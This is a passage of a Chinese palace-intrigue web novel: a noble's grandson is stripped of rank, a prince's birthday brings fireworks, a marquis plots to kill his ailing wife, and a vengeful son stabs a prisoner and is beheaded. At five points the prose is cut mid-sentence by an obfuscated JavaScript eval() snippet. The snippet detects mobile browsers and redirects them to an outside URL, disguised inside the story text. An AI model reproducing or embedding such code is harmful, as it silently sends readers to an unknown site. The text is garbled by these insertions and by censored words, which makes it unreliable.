而定远侯,就是那把最锋利的刀。 第92章 永安王生辰 御书房里。 谢锦程和裴明镜四目相对,谢锦程的眼眸里几乎要喷出火来。 裴明镜是疯狗吗,怎么咬着他不放。 他宠幸那些贱民,是他们的福气,他都给了他们银子了,他们还想怎么样。 裴明镜无视了他憎恨的目光,不紧不慢道:“皇上,以上就是微臣调查的全部事情经过。证据确凿,谢锦程**民妇、意图**灭口一罪属实。请皇上发落。” 昨日他抓到的那批人,都不如王府管家**的骨头硬,他都没上重刑,他们就全都吐口了。 再加上有刘芳草的证词,谢锦程这回怕是很难再将自己摘出去。 因而没有将此案交由刑部和大理寺,直接上达天听,告知了皇上。 谢锦程瞧见人证物证俱全,整张脸都变得有些扭曲了,**该怎么狡辩。 这时,昭瑞亲王急忙赶来了。 他想知道刘芳草生下的女儿究竟是不是谢锦程的亲生骨肉。 毕竟那很可能是谢锦程唯一的孩子。 “皇上,此中恐怕有什么误会……”他还没来得及看罪证,就替孙儿喊冤。 文昭帝阴沉着一张脸。 今日可是石头的生辰,他一早下了朝,就想赶紧去未央宫,跟皇后一块为儿子准备生辰礼,结果却被裴明镜拦下了。 他这才知道谢锦程竟然在外为非作歹了那么久。 他本想快点将此案结束,没想到昭瑞亲王又来喊冤了。 “严喜,将裴大人提供的证据让昭瑞亲王瞧瞧。”文昭帝冷着脸开口。 昭瑞亲王心头陡然一沉。 皇上往日都是亲切地称呼他皇伯父,今日竟然直接点了他的封号,看来是真的动怒了。 他不敢多言,迅速翻阅起了裴明镜提供的罪证,看到最后,他额头上已经布满了细细密密的汗珠。 “是老臣教导无方。”他“扑通”跪下请罪。 “但锦程还是个孩子,且如今又经历了那样的惨事,还请皇上从轻发落啊。” 谢锦程听到祖父都认罪了,脸色煞白,知道这一次肯定逃不过了。 文昭帝嫌恶地扫了这两祖孙一眼,冷冷道:“谢锦程强抢民妇,纵奴杖杀无辜,私德尽丧,禽兽不如。” 他每点评一个词,昭瑞亲王祖孙二人的脑袋就垂得更低,身子抖得也更厉害。 文昭帝冷着脸一字一句地说出了最终的判决: “褫夺谢锦程宗籍,贬其为庶人,圈禁昭瑞亲王府,终身不得外出。昭瑞亲王一脉,永绝嗣爵之权!” 话音落地,昭瑞亲王两眼一黑。 完了,这下全完了。 王府百年基业,毁于一旦啊!!! * 今日是谢翊宁的生辰,但他并没有什么特别的感觉。 一大早永安王府就络绎不绝地来了不少人。 父皇和母后流水般地赏赐了他不少东西,显然没把他那日说得不要大操大办放在心上。 有了父皇母后的赏赐在前,没过多久,宫中的各位娘娘还有皇兄皇姐们,都命人送来了贺礼。 谢翊宁懒得去看,横竖不过是那些他看腻了的东西。 他窝在躺椅上闲适地翻阅着游记,让管家将东西都收到了库房里。 “王爷,您尝尝,这是皇后娘娘一大早就起来给您做的点心,保准您会喜欢。等晚些时候,您入宫了,皇后娘娘还给您准备了新的惊喜。”吴嬷嬷笑着递来了一盘香甜的豌豆黄。 听到是母后亲手做的,谢翊宁总算给了一点面子,起身尝了一口。 “我确实喜欢。”谢翊宁满意地点了点头,“入口即化,清甜不腻,细腻绵密。母后的手艺简直比御膳房的大厨们还好。” 吴嬷嬷笑得愈发灿烂:“皇后娘娘若是听到您这么高的夸奖,定然高兴得整晚都睡不着觉了。” 谢翊宁扫了一眼剩下的糕点,发现里边还有一碟子芙蓉酥。 他一瞬间就想起了冰嬉宴上,晏逐星入宫时陪在母后身边,小口小口吃着芙蓉酥的模样。 当时他忽然出现,似乎将她吓到了,她还把芙蓉酥捏掉了一块碎渣。 她似乎很喜欢吃这玩意。 谢翊宁将照夜叫了过来,吩咐道:“把芙蓉酥送到定远侯府给晏大小姐,就当是腊八粥的回礼了。” “是。”照夜立刻端上芙蓉酥就送去了定远侯府。 一旁的吴嬷嬷惊讶得眼睛都瞪圆了。 她好像发现了什么了不得的大秘密。 * 晏逐星收到永安王府送来的芙蓉酥,一时间有些懵。 得知这是腊八粥的回礼,她便收下了。 尝了一块后,便将衔蝉几人也叫了过来。 “王爷赏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686823|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的芙蓉酥,你们也尝尝。” “多谢小姐。”三人高高兴兴道谢,一人拿了一块芙蓉酥。。 “这宫里做的芙蓉酥就是好吃!”衔蝉忍不住夸赞道。 “这不是永安王府送来的么?怎么会是宫里的。”双鲤有些疑惑。 衔蝉摇头道:“不一样。外边做的芙蓉酥都没有宫里的好吃。有一回,我跟着嬷嬷去了宫里,贵人赏过我们一份,听说糖霜都是御厨秘制的,外头的根本比不了。” 晏逐星越听越疑惑了。 好端端的永安王特意入宫要一份糕点送给她做什么。 难不成回礼只是借口,实际上这糕点暗藏玄机,永安王有话要对她说? 她赶忙叫住了几人,将剩下的芙蓉酥拿了回来,掰开揉碎地查看,发现里边除了馅料什么也没有。 压根就没有她想象的小纸条。 一旁的衔蝉见她把糕点弄得粉碎,有些心疼地开口:“小姐,您这是在做什么?” 晏逐星有些讪讪地解释:“我以为王爷有事要我去办。” 她还以为永安王是听了她那日表忠心的话——“今后若有用得着我的地方,王爷尽可差遣。” 她没想到永安王竟然真的只是单纯给她送了份芙蓉酥。 衔蝉愣了片刻,反应过来她说的是什么,顿时有些哭笑不得。 “您可是侯府千金,王爷哪会让您去办事呀。今日是王爷的十八岁生辰,想必这是宫里皇后娘娘赏赐的糕点。王爷想着回礼,就命人送来了。” 晏逐星“啊”了一声。 原来今日是永安王的生辰啊。 难不成今日他送糕点来,是想提醒她给他送生辰礼? 这么仓促,她一时不知该送什么好。 再说了,永安王可是帝后最宠爱的孩子,宫里什么好东西都紧着他挑,连太子也未必及得上。 她手里最珍贵的,不过是皇后娘娘赏赐的那些物件,可他哪里会缺这些。 能送他什么呢? 晏逐星犯了难。 不过,给定远侯和温如霜的大礼,她倒是准备好了。 晏逐星起身,吩咐道:“替我梳妆,我要见父亲。” 她决定先把这事办了,再去琢磨给谢翊宁送什么生辰礼。 于情于理,他帮过她那么多次,不管贵重与否,这份生辰礼总该送上。 第94章 特别的礼物 晏逐星离开定远侯府,打算去街上挑挑看,有没有什么好东西可以给谢翊宁当生辰礼。 贵重的东西她是拿不出来了,只能取巧,选一些谢翊宁没见过的小玩意当礼物。 毕竟,礼轻情意重嘛。 可满大街的转悠了半天,她都觉得不合适,没什么能拿得出手的。 见她发愁,衔蝉提议道:“小姐,要不您亲手给王爷做一份长寿面吧?” 晏逐星一愣,觉得这个主意似乎也不错。 “可王爷会缺一碗长寿面么?王府后厨定然会替他准备吧。” 说完她便摇了摇头。 她的手艺,哪里比得上王府的大厨。 就在她纠结之际,转身忽然看到了一个小摊子。 她顿时眼前一亮。 有了,她知道可以给永安王送什么了! * 谢翊宁整理了衣冠,准备入宫陪父皇母后一块用膳。 正欲出门,就见停云快步走过来禀报:“王爷,晏大小姐来了。” “她怎么来了?”谢翊宁有些疑惑,随后随意地摆了摆手,“将她请进来吧。” “是。” 不一会儿,晏逐星就被领进了永安王府。 虽是深冬,王府里却不见半点萧条。 昨夜刚落下的薄雪覆盖着飞檐斗拱上的琉璃瓦,衬着朱红的廊柱,显得格外气派。 跟着引路的侍女穿过长廊,晏逐星简直看花了眼。 两人高的**树、汉白玉雕的栏杆、难得一见的珍贵腊梅……每一样都让她惊叹不已。 她在心底暗暗感慨,谢翊宁不愧是帝后视若珍宝的心头肉,恐怕全大虞的奇珍异宝、稀罕物件都堆在了永安王的府邸之中。 她低头看了一眼手中的藤编小提篮,忽然感到有些难为情。 她送的这份礼物似乎有些太寒酸了,与王府的富丽堂皇,似乎显得格格不入。 “见过王爷。” 侍女的声音让晏逐星回神,她下意识地将东西藏到了身后,跟着行礼。 “参见永安王。” 她的小动作哪里逃得过谢翊宁的眼神。 “藏什么呢?”他有些好奇。 晏逐星有些尴尬地开口:“听说今天是王爷生辰,您赏了我芙蓉酥,我就想着也该给您备份生辰礼。” “哦?”谢翊宁来了兴致,“拿给本王瞧瞧。” 他确实有点好奇。 除了宫中的娘娘和皇姐皇妹,还从没有其他女子给他送过生辰礼。 她会送他什么呢? 晏逐星迟疑着要不要拿出来。 见她面露为难,谢翊宁反倒更好奇了。 “怎么,又不想送本王礼物了?”谢翊宁挑眉看向她。 来都来了,晏逐星决定豁出去了。 她将身后的小提篮双手奉上。 “一点心意,恭贺王爷芳辰。愿您身康体健,顺遂无忧,福泽绵长。年年有今日,岁岁有今朝。” 谢翊宁盯着面前盖着红绸的小提篮,好奇地伸手一掀。 红绸滑落,里面露出的竟是一幅晶莹剔透的糖画。 更让他没想到的是,那糖画勾勒的赫然是他当年单枪匹马与黑熊搏斗的惊险场景。 熊的凶猛、人的矫健,甚至连他脸上那股不服输的狠劲儿,竟然都画得栩栩如生。 晏逐星见他目光凝住,赶忙解释道:“王爷恕罪!我曾听闻……” 她顿了一下,似乎在斟酌词句。 “听闻您当初曾在围场单枪匹马勇斗黑熊,您的胆识气魄令我佩服不已。这糖画,便是想将王爷这份英姿留驻下来。手艺粗陋,让王爷见笑了。” 先前她路过一个糖画摊子,灵机一动,琢磨着把可以这糖画当做生辰礼送给谢翊宁。 她寻思着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686825|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按他这样尊贵的身份,想必从未尝过这种市井小食的滋味。 可转念一想,普通的糖画未免太显敷衍。 于是她借来纸笔,按着想象勾勒出他当年与黑熊搏斗的惊险一幕,再请那手艺人照着画稿浇制了出来。 她忐忑地偷偷瞄了一眼谢翊宁。 这份生辰礼,也不知道永安王会不会嫌弃。 谢翊宁盯着那糖画看了片刻后,展颜一笑道:“你的生辰礼,本王很喜欢。” 那笑意如同冬日薄云后骤然破出的暖阳,瞬间融化了周遭的清冷。 晏逐星悬着的心总算放了下来。 “王爷喜欢就好。”她也露出了浅浅的笑。 “你有什么心愿吗?”谢翊宁忽然开口。 晏逐星一愣,没反应过来他为什么忽然问这个问题。 “本王头一回收到这么特别的礼物,允你一个心愿,算是谢礼。”谢翊宁解释道。 晏逐星想说她的心愿是想让定远侯府那些人都死绝。 但这话肯定不能说出口。 她摇头道:“我给王爷送生辰礼,并没有想着要什么谢礼。” “若你必须要一个呢?”谢翊宁穷追不舍。 他主要是怕待会入宫,父皇母后会一直逼问他,他实在是想不出有什么想要的。 倒不如参考一下晏逐星的心愿。 她送礼都能送得那么别出心裁,想必要礼物应该也能要得清新脱俗。 晏逐星:“……” 还真没见过强行送礼的。 见谢翊宁一脸期待和认真,晏逐星仔细思索了起来。 忽然,她脑海里闪过一个恶劣的想法。 晏明月**,她在侯府里不好光明正大地庆祝。 倒不如借着这个机会去温如霜面前炫耀。 她眼睛弯成了月牙,笑着看向了谢翊宁,坚定地说出了自己的心愿。 第95章 岂不是食言 “王爷,我想看一场盛大的烟火。” “烟火?”谢翊宁一愣。 随即觉得这倒是个不错的主意。 往常只有过年和元宵节之时,朝廷才会放烟火。 他提出这个要求,既能满足父皇母后声势浩大为他庆生的心愿,又能让百姓们跟着高兴高兴。 何乐而不为呢。 “好,你的心愿,本王应下了。”谢翊宁爽快地答应了下来。 “多谢王爷。” 礼物送到,谢翊宁要入宫,晏逐星便打道回府。 回来之后,她收到了阮寄薇命人送来的如意糕。 她心下顿时明了。 如意糕,事情已经如她心意办成了。 之后她要做的就是——耐心等下去。 等到定远侯出手。 * 谢翊宁步入未央宫。 父皇母后早已备好丰盛的佳肴等着他,太子领着太子妃与两个女儿也来了。 谢翊宁松了一口气。 看来父皇母后还是把他的话放心上了。 没让满后宫的人都来给他庆贺,只请了血肉至亲。 “石头,你可想好今年想要什么生辰礼物了么?”文昭帝和崔皇后都一脸期待地看着儿子。 “想好了。儿臣想看一场烟火,让百姓们与儿臣同乐。”谢翊宁毫不犹豫地回答。 “看烟火?”皇后一愣。 “此物现下准备恐怕来不及了。还有两个时辰,天就要黑了。” 她脸上闪过一丝愧疚。 儿子难得提出一个想要的生辰礼,她竟然没办法满足。 一旁的文昭帝赶忙道:“来得及,怎么会来不及。御前应奉所那么早就在备着过年时候的烟火了,如今提前支取一部分应当也是没问题的。” 不等旁人反对,他即刻下令。 “传朕旨意,命御前应奉所即刻呈送百架烟火至承天门。新研制的百丈灯若有成品,一并速速送去。” “多谢父皇。”谢翊宁笑着道谢。 “皇祖父,所以今夜是可以看烟火吗?”太子的嫡长女谢令嘉惊喜地看了过来。 “是。”文昭帝乐呵呵地点头。 太子妃沈清梧笑着摸了摸女儿的脑袋:“托了你永安王叔的福,不然我们可看不到这么漂亮的烟火。” “多谢永安王叔。”四岁的谢令嘉奶里奶气地冲谢翊宁道谢。 然后又将自己脖子上的一个金貔貅摘了下来,递给他。 “令嘉恭贺永安王叔生辰快乐。” “那王叔就收下啦,多谢我们小令嘉。”谢翊宁笑着捏了她的小脸蛋。 “哟,我们令嘉今日这么大方呢。上回皇祖母问你要这金貔貅,你可不舍得。怎么现在就给了你永安王叔?”皇后调侃道。 谢令嘉有些不好意思地缩回了母妃的怀里,捂着小脸眨巴着眼睛道:“不一样嘛,永安王叔头一回过生辰,总要有所表示嘛。” 这话把在场的人逗笑了,殿内一片笑声。 笑过之后,文昭帝与皇后对视一眼,心中满是酸楚。 上一回给石头过生辰,还是他一周岁的时候。 如今眨眼间十七年就过去了。 孩子已经十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693959|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八岁了。 幸好,老天开了眼,让石头摆脱了活不过及冠的诅咒。 只是,一日未过石头二十岁的生辰,他们依旧是不敢掉以轻心。 但今日这大喜的日子,谁也不会提这个事情,于是一家子和乐融融地吃了一顿饭。 期间谢令嘉往外跑了无数次,询问了谢翊宁好几回。 “永安王叔,烟火送到了吗?” “永安王叔,我们可以看烟火了吗?” 最后问得谢翊宁都不耐烦了,直接把小家伙抱起来架在肩膀上。 “走,王叔带你看烟火去!” “好耶!”谢令嘉兴奋地直拍手。 承天门外,一百架烟火整整齐齐地摆在了一起。 除去他们之外,后宫昭仪以上位份的妃嫔,以及皇子公主,都来了。 “父皇对七皇兄可真好。”六公主谢妙酸溜溜地开口。 不过是过个生辰,竟然大动干戈地放烟火庆贺。 五公主谢娇嗤笑一声:“你若是从皇后娘娘肚子里爬出来的,父皇也会对你好。” 谢妙的脸瞬间涨得通红。 她的生母不过是一个小宫女,五皇姐这话就是赤裸裸地在嘲笑她的出身。 但她还要在苏昭仪和五皇姐手底下讨生活,她不敢顶撞她,只得尴尬一笑,算是附和。 站在最前边的谢翊宁并不知道自己的皇妹们都说了什么。 他抱着谢令嘉,脑海里想的全是晏逐星。 也不知道在这放,她能不能看到这场烟火? 她若看不到,那他岂不是食言了。 第96章 杀心被察觉 “砰——” 天空忽然传来一声巨响。 晏逐星抬头望去,是皇宫的方向。 只见一点火光急速蹿升,随即在天空中轰然炸开。刹那间,一朵巨大的金菊怒放开来,炽烈的光芒瞬间照亮了半座皇城。 “哇!是宫里放的烟火!好漂亮啊!”双鲤激动地扯住衔蝉的袖子,指着天空惊呼。 晏逐星怔住了。 她没有想到谢翊宁口中允诺的心愿,竟然真的实现了。 “走,将母亲请出来,一块看烟火。”她勾起了唇角,欢快地走去了温如霜的院子。 “你来做什么?”温如霜也听到了皇宫中传来的烟火炸响声,但她万万没想到,晏逐星竟然敢来。 “陪母亲看烟火呀。”晏逐星当即指挥人把她搬了出来。 “我不去,你们休要动我!”温如霜大吼了起来。 下人们一时间不敢乱动,目光在两人身上来回扫视。 晏逐星摆摆手,示意众人退后。 她上前一步,凑到温如霜耳边,低声笑道:“晏明月**,这么大的喜事,难道不该放场烟花庆祝一下?” 温如霜脸色骤然惨白如纸。 “还有你那宝贝儿子,瞎了一只眼,这不更该普天同庆了吗?他那样的祸害,**都算便宜他。”晏逐星继续刺激她,嘴角噙着大仇得报的快意。 “住嘴——!小**,你给我住嘴!”温如霜目眦欲裂,上身剧烈一晃,她用一只手死死捂住嘴,却挡不住喉间那股翻涌而上的腥甜。 “噗。” 她被晏逐星硬生生地逼得吐出了一口血。 下人们顿时惊慌失措地围了上来。 晏逐星一连退后好几步,捂着唇惊呼出声:“母亲,您怎么了?” “我知晓二妹妹的事让您痛彻心扉。可女儿也是一片孝心啊!我不过是想陪您看看烟火,盼着能为您稍稍排解心中的苦闷忧愁,您怎么就吐血了?” 听着她颠倒黑白的话语,温如霜气得眼前发黑,两眼一翻就晕了过去。 晏逐星唇角微微上翘。 她就喜欢温如霜看不惯她又干不掉她的样子。 任凭院子里兵荒马乱,她依旧巍然不动。 她仰起头,贪婪地欣赏着夜空中为她绽放的绚烂,唇边的笑意愈发璀璨。 这是第一次有人这样重视她的心愿。 这一刻,前世抱憾而亡的痛苦,今生如履薄冰的复仇,都在震耳欲聋的轰鸣和漫天流泻的烟火中被渐渐抚平。 谢翊宁,多谢。 她在心中默默对他道谢。 温如霜这个当家主母晕倒后,下人们自然要去禀告定远侯。 定远侯过来时,温如霜已经苏醒,空中的烟火也早已结束。 只有晏逐星还守在床边,扮做一个乖巧孝顺的好女儿。 温如霜狠狠怒视着她,声嘶力竭地大喊道:“我一定会杀了你,一定!” 定远侯踏进院子,听到这话,当即呵斥道:“住嘴!有你这么当母亲的么。” “你知不知道她今日来做了什么?!”温如霜委屈得眼泪瞬间涌了出来。 “我只是看到宫里放烟火,想让母亲开心一点,特意过来陪她一块看。”晏逐星赶忙开口。 温如霜哭,她就哭得更厉害。 她一抖一抖地继续道:“上一回咱们一家人一块看烟火,都是五年前了。” 温如霜没想到她抢先一步告了状,大吼道:“你胡说,你分明是幸灾乐祸,故意来气我的,你就是想把我气死。” 定远侯听到这话,心念一动。 气死? 似乎也是一个不错的选项。 只是气死嫡母这个名头,不能让晏逐星担了。 他还指望着她高嫁,能助他一臂之力呢。 定远侯理都没理温如霜,而是转身看向其他人:“行了,夫人这不是醒了么,下回不是特别紧急的事情不用叫我。直接请大夫就行。” 他就差没直说,没死就别通知他了。 温如霜所有血液仿佛瞬间倒流,直冲头顶,她猝然抬眼看向定远侯,仿佛第一次认清眼前的男人是个什么狼心狗肺的东西。 随后定远侯又看向晏逐星:“星儿,走吧,你母亲久病难免心情烦躁,误会你了。你还是不要留在这了。” “是。”晏逐星赶忙跟着他一块离开。 定远侯那彻骨的冷酷,让温如霜彻底死心了。 她咬紧牙关,齿缝间几乎渗出血腥味,才硬生生将脑海里的眩晕强压下去。 她死死抓着李氏的手,眼里的恨意倾泻而出:“人呢,我让你找的人呢,什么时候能把晏逐星那个**给除掉!!!” 李氏眼里闪过一丝惊慌,她垂眸道:“已经让赵大去找人了,约莫也就这几日了。只要大小姐出门,定然逃不掉的。” 听到她这么说,温如霜心头的怒火才勉强压下几分。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693960|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “备笔墨纸砚!”她声音嘶哑,带着一种破釜沉舟的决绝。 “我要给大哥写信。他若再不来京城,晏鸿升那个混账,是真要逼死我了。”提及定远侯,她那被强行压下的怒火瞬间复燃。 李氏赶忙应下,将文房四宝送了过来。 这个时候只要不提大小姐的事,夫人想做什么都好。 温如霜强撑着病体,用尽全身力气,终于将信写完。 她仔细封好,郑重交予李氏:“务必悄悄送去驿站,快马加鞭送回青州!” 李氏当即应下。 只是她们都没想到,这封信还没送出侯府,就落到了定远侯的手里。 定远侯握着那封被拦截下来的信,迅速拆开。 扫了一遍信上的内容,他眉心一凛。 目光落在了那一句—— “晏鸿升杀心已起。其言语间流露出许多不耐烦,几乎视我为眼中钉、肉中刺。恐怕日后会为一己之私欲,行那丧尽天良之事。我命危矣,恳请大哥速速入京。” 一股被戳穿心思的暴戾之气瞬间涌上心头。 晏鸿升下意识地用力,几乎要将信纸捏碎。 他没想到温如霜竟然那么敏锐。 他不过刚起杀心,她竟然就察觉了。 他走到窗边,望着沉沉夜色陷入沉思。 温如霜的大哥年后便将赴京就任工部尚书,那可是手握实权的朝廷重臣。一旦他抵京,温如霜便有了最硬的倚仗。 这么看来,留给他料理温如霜的时间,不多了。 他必须想到一个两全其美的法子。 和离是绝对不行的。 他的嫡女刚死,嫡子又落下了残疾,侯府声望本就受损。 若此时强行与温如霜和离,日后他再娶骆文缨,就等于昭告天下他攀附权贵抛弃发妻。到时候一定会被骂得狗血淋头。 温家人也不会放过他。 但温如霜若是意外身亡,他就能扮演深情丈夫,续弦就成了不得已而为之。 温如霜活着,骆文缨嫁给他便要背负“逼走病妻”的恶名;温如霜病逝,骆文缨就有了“续弦扶正”的体面。 因此,温如霜必须死。 哪一种死法最快、最干净? 哪一种死法最能让温家人即便来了,也抓不到丝毫把柄,只能接受“温如霜福薄早亡”的“事实”? 定远侯在书房里来回踱步,思索良久,枯坐到天明后终于想出了一个好办法。 第97章 杀了他陪葬 得知定远侯书房的油灯亮了一整夜。 晏逐星便知道他杀心已动。 毕竟他一个闲散侯爷,素日里最是疏懒,又没什么公务要处理,怎么可能在书房熬一整个通宵。 能让他这么费心思琢磨一整晚的事,除了怎么弄死温如霜,没别的可能。 她只需要静观其变就好。 不过,定远侯府这趟浑水倒是可以搅得再乱一些。 她当即命人将谢锦程被贬为庶人、幽禁于王府终身不得出的消息,透露给了晏明修。 晏明修的小厮拿了她的银钱,如今已经成了她的眼线,因此不遗余力地在晏明修近旁说起谢锦程的事,意图挑起晏明修的恨意。 “唉,谢世孙虽说被贬为庶人,圈在王府高墙里,可听说府里吃穿用度,一样没减,不过是换个地方享福罢了。” “小的今日路过醉花楼的巷子,那地方真是晦气。也不知是哪个天杀的歹人,害得公子您平白丢了只眼睛!您这左眼,原本多俊俏啊。满京城多少姑娘都想嫁给您,如今……唉……” “当初要不是那王八羔子先惹事,您怎么会落得如今这幅下场。他倒好,事后还把屎盆子扣您头上,往死里作践您,着实可恨。” …… 这些话语隔三差五就出现在晏明修耳边,如同淬了毒的细针,一次次精准地扎在晏明修心头最痛、最恨、最**的地方。 他那只空洞的左眼眶,似乎又开始隐隐作痛。 当日画舫上的混乱、剧痛还有在王府里谢锦程狰狞的辱骂和百般羞辱的画面,混杂到了一起。 恨意在他脑子里翻腾,一股邪火直冲头顶。 晏明修脑子里叫嚣着一个念头: 他要去见谢锦程,现在就去! 他要让那个阶下囚也尝尝生不如死的滋味。 * 昭瑞亲王府。 得知晏明修登门,昭瑞亲王有些惊讶。 他没想到晏明修竟然还敢来。 当初孙儿做的那些事,他倒也略知一二,他还以为晏明修这辈子都不会再踏入他们王府了。 “我与锦程是至交好友,我有些话想对他说。”晏明修忍着恨意,面上不显。 “难得锦程有你这样一个好友。”昭瑞亲王像是看不出他来者不善,脸上依旧带着和善的笑。 他给了护卫一个眼神。 “带他去见小少爷吧。” 在晏明修转身后,他轻声对另一个护卫吩咐了一句话:“若少爷喜欢,就想办法将他留下。” 护卫点头,领着晏明修去见了谢锦程。 谢锦程被幽禁在王府的偏院。 那院子高墙深锁,只留一扇厚重的铁门,上面开了个送饭的小窗。 几个皇上派来的侍卫面无表情地矗立在铁门前。 护卫告知了他们晏明修的身份和昭瑞亲王的吩咐,他们这才同意打开小窗。 小窗里光线昏暗,弥漫着一股颓败的气息。 片刻后一张苍白憔悴、胡子拉碴的脸出现在小窗后,正是谢锦程。 他眼神浑浊,但在看清窗外是晏明修时,猛地爆发出怨毒又兴奋的光。 他没了命根子,又被关在偏院里,刘芳草生下的孩子还不是他的。 他一辈子都毁了,再也没办法传宗接代。 而晏明修如今除了脸上戴着一个黑色的眼罩,旁的与常人无异,他心里又恨又羡慕。 他露出一抹冷冷的笑:“晏明修,怎么又来找小爷?难不成你还惦记着玄雷与你欢好的滋味?” “哟,那可真不巧了,玄雷如今不在小爷手里,满足不了你。” 晏明修浑身血液瞬间冻住。 他脸色骤变,由白转青再涨成骇人的紫红,厉声嘶吼:“你住嘴!” 声音尖利得破了音,带着他自己都未曾察觉的恐慌。 周围跟随的侍卫和看守听到这话,先是茫然,随即眼中瞬间爆发出难以置信的惊骇和一丝难以言喻的鄙夷。 他们都知道玄雷。 那是谢锦程被贬前豢养的一条凶悍大黑犬,如今被昭瑞亲王接去养了。 他这话里的意思…… 简直令人作呕。 他们看向晏明修的表情,变得有些难以形容。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699649|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耻辱如同滚烫的岩浆,瞬间吞噬了晏明修所有的理智。 他脑子里只有一个念头在疯狂咆哮,盖过了一切声音:杀了他! 只要把谢锦程杀了,这件事就再也不会有旁人知道了。 杀了他!杀了他!杀了他! 这念头如同魔咒,瞬间点燃了他骨子里所有的暴戾。 “怎么不说话?是不是要我帮你回忆一下那销魂的滋味,你……”谢锦程那张苍白扭曲的脸挤在小窗后,饶有兴味地继续说着。 然而,他剩下的话,永远卡在了喉咙里。 就在谢锦程的“你”字刚出口的瞬间,晏明修动了。 他将藏在袖中的右手闪电般探出,紧握着一柄**狠狠朝着谢锦程的眼睛刺了进去。 “呃啊——!!!” 一声惨嚎猛地从铁窗内炸开。 鲜血从谢锦程被刺破的眼眶里迸射而出。 他整个人猛地向后倒去,双手死死捂住那被**贯穿的左眼,身体在地上剧烈地抽搐、翻滚。 “去阴曹地府当你的太监吧!”晏明修唇角咧开,沾着几点谢锦程溅出的鲜血,扯出一抹残忍而满足的狞笑。 “哈哈哈哈哈。” 他爆发出疯狂的大笑,声音在空气中回荡,充满了扭曲的快意。 “谢锦程!睁开你那剩下狗眼看看!你一个被锁在笼子里的废人太监,也配笑我?!你比我强在哪里?!啊?!” 周围的人都懵了。 晏明修的动作太过突然,也太快、太狠,他们根本来不及做出任何反应。 直到谢锦程那凄厉到变调的惨嚎炸响,所有人才像被冷水浇头般猛地惊醒。 “快!快拦住他!” “开门!救人啊!” “去请大夫!快!要最好的伤科大夫!” 守卫和护卫手忙脚乱地行动了起来。 而被控制住的晏明修却还在咒骂谢锦程是“死太监”。 铁窗内的谢锦程忍无可忍,哀嚎了起来:“杀了他,让他给我陪葬。” 就算是要下地狱,他也要拉着晏明修一起。 第98章 魂魄被打散 王府护卫将晏明修按着跪在地上,让他给谢锦程磕头。 晏明修脑袋渐渐冷静了下来。 看着周遭来来往往的人,他知道自己遭遇的那些恶心经历是彻底瞒不住了。 他这样活着也毫无意义。 倒不如跟谢锦程一块**。 他扭头用力咬了一口按住他护卫的手腕,那护卫痛呼一声下意识地松了手。 脱身的晏明修猛地扑向了谢锦程,想要掐死他。 “死太监,你**吧。” 但王府护卫的动作比他更快。 见他要对谢锦程不利,当即一刀了结了晏明修。 晏明修睁着大大的眼,似乎还没反应过来自己的脑袋和脖子分了家。 他的脑袋咕噜噜滚到了谢锦程面前。 “呵忒。” 谢锦程捂着左眼,狠狠地往晏明修的脸上吐了口混着血的唾沫,而后彻底撑不住晕了过去。 晏明修的死讯根本瞒不住。 今日在场的除了王府的护卫,还有皇上派来的守卫。 此事他们第一时间告知了文昭帝。 文昭帝没想到谢锦程竟然还做了这么恶心的事情,他脸上流露出一丝嫌弃。 